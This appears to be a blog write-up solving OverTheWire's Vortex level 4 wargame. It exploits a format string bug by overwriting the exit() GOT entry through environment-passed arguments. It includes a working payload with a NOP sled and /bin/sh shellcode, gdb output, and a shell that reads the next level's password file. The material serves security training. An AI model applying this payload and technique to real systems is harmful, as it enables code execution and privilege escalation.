OverTheWire.org - Vortex - Level 4 Writeup


We have the source code and it's quite clear that we can levereage a format string vulnerability using argv[3]
But wait, the program exits if argc (i.e. the number of parameters) is not zero.

We can overcome it by passing arguments in the environment and keeping the argument array NULL.

argv[3] is the third argument on the command line and it should correspond to second environment parameter

Let's create a temporary directory and move to it:

vortex4@vortex:~$ mkdir /tmp/vortex4
vortex4@vortex:~$ cd /tmp/vortex4

Let's write a calling application like in some utumno levels to confirm the behavior:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#include <stdlib.h>

int main (int argc, char *argv[])
{
    char *sc[3];

    sc[0]="/vortex/vortex4";
    sc[1]= "AAAA;
    sc[2]= "BBBB";
    
    execve("/vortex/vortex4",NULL,sc);
    
    return 0;
}

Compile and execute with ltrace

vortex4@vortex:/tmp/vortex4$ gcc -m32 v4.c -o v4

vortex4@vortex:/tmp/vortex4$ ltrace ./v4
__libc_start_main(0x804841d, 1, 0xffffd6f4, 0x8048470 <unfinished ...>
execve(0x8048500, 0, 0xffffd644, 0xf7e5519d <no return ...>
--- Called exec() ---
__libc_start_main(0x804844d, 0, 0xffffded4, 0x8048490 <unfinished ...>
printf("BBBB")                                                                                   = 4
exit(0BBBB <no return ...>
+++ exited (status 0) +++

So the sc[2] is passed to vortex4 and printed.

We have to play with the format string some times so let's change the calling program to use its own command line parameter:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#include <stdlib.h>

int main (int argc, char *argv[])
{
    char *sc[3];

    sc[0]="/vortex/vortex4";
    sc[1]= "AAAA";
    sc[2]= argv[1];

    execve("/vortex/vortex4",NULL,sc);

    return 0;
}

The basic idea of the exploit is to abuse the exit() call at the end of the vortex4 executable and find a way to change it like in the previous level.

But this time it won't be via a strcpy() and dedicated istructions to make it possibile.
We have to use a format string.

Before diving into the exploit we need to get the exit() function memory address that we have to overwrite.
vortex4@vortex:~$ gdb /vortex/vortex4
...
(gdb) disas main
...
   0x08048473 <+38>:    call   0x8048310 <printf@plt>
   0x08048478 <+43>:    movl   $0x0,(%esp)
   0x0804847f <+50>:    call   0x8048330 <exit@plt>
End of assembler dump.
(gdb) disas 0x8048330
Dump of assembler code for function exit@plt:
   0x08048330 <+0>:     jmp    *0x804a014
   0x08048336 <+6>:     push   $0x10
   0x0804833b <+11>:    jmp    0x8048300
End of assembler dump.
(gdb) x/wx 0x08048332
0x8048332 <exit@plt+2>: 0x0804a014
(gdb) x/wx 0x804a014
0x804a014 <exit@got.plt>:       0x08048336

So we have to overwrite that 0x08048336 value stored at 0x0804a014 with the address containing a shellcode.

So let's start with a default format string check by using a fixed string like "BBBB" followed by a number of "%x".
Let's start with one "%x" until the print() call shows the hex representation of "BBBB" (0x42424242)...
We find that we have to use 107 repeated "%x":


vortex4@vortex:/tmp/vortex4$ ./v4 $(python -c 'print "BBBB" + "%x"*106 + "%x"')
BBBBf7ffd000804849bf7fcc000804849000f7e3bad30ffffde04ffffde08f7feae6a0ffffde04ffffdda4804a018804822cf7fcc000000f5ffd6fdcd3012ed000080483500f7ff0660f7e3b9e9f7ffd0000804835008048371804844d0ffffde0480484908048500f7feb300ffffddfc1c00ffffdee8ffffdef8ffffdefdffffdfd8020f7fdbb5021f7fdb00010178bfbff61000116438048034420597f7fdc0008098048350b138cc138dd138ce138c17119ffffdecb1fffffdfe8fffffdedb00000f50000009b0f9b9c9f81052245ddaca4698e791436383600726f762f2f78657474726f763478654141414142424200

So now we can start using another format %n instead of last %x and change the "BBBB" sequence with the exit() function address 0x0804a014:

vortex4@vortex:/tmp/vortex4$ gdb ./v4
...
Reading symbols from ./v4...(no debugging symbols found)...done.
(gdb) set args $(python -c 'print "\x14\xa0\x04\x08" + "%x"*106 + "%hn"')
(gdb) r
Starting program: /tmp/vortex4/v4 $(python -c 'print "\x14\xa0\x04\x08" + "%x"*106 + "%hn"')
process 768 is executing new program: /vortex/vortex4

Program received signal SIGSEGV, Segmentation fault.
0x080401e3 in ?? ()

What happened?
The format string changed two bytes (due to %hn) at address 0x0804a014, which means that value 0x08048336 to 0x080401e3, where 01e3 is determined by the number of byte written before %hn

Now we have to change also the part "0x0804" the address to something on the stack.
So we need an additional %hn to point to 0x0804a016
and we also need to know where the buffer is loaded on the stack.

So our buffer should be composed by

  • address-1 to be overwritten (first two bytes)  
  • filling
  • address-2 to be overwritten (last two byes)
  • NOP Slide
  • Shellcode
  • repeated %x
  • a %Nx where N is a number that changes the value written at address-1
  • a %hn that writes a number on two bytes at address-1
  • a %Mx where M determines the number to be written at address-2
  • a %hn that writes the number
Note that N and M must write a number that is an address inside the NOP slide on the stack (most likely an address similar to 0xffffde00)

So getting the correct N and M and also the correct buffer composition may need some work.

After some time I found this working buffer:

./v4 $(python -c 'print "\x11\x12\x13\x14\x15\x14\xa0\x04\x08\x08\xa0\x04\x11\x16\xa0\x04\x08\x08" + "\x90"*200 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80" + "%x"*106 + "%56220x" + "%hn"  + "%8589x" + "%hn" ')
$ id
uid=5004(vortex4) gid=5004(vortex4) euid=5005(vortex5) groups=5005(vortex5),5004(vortex4)
$ cat /etc/vortex_pass/vortex5
:******r
$

I highlighted in black and bold the salient parts:
- where to put the addess to be overwwritten
- the format strings

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.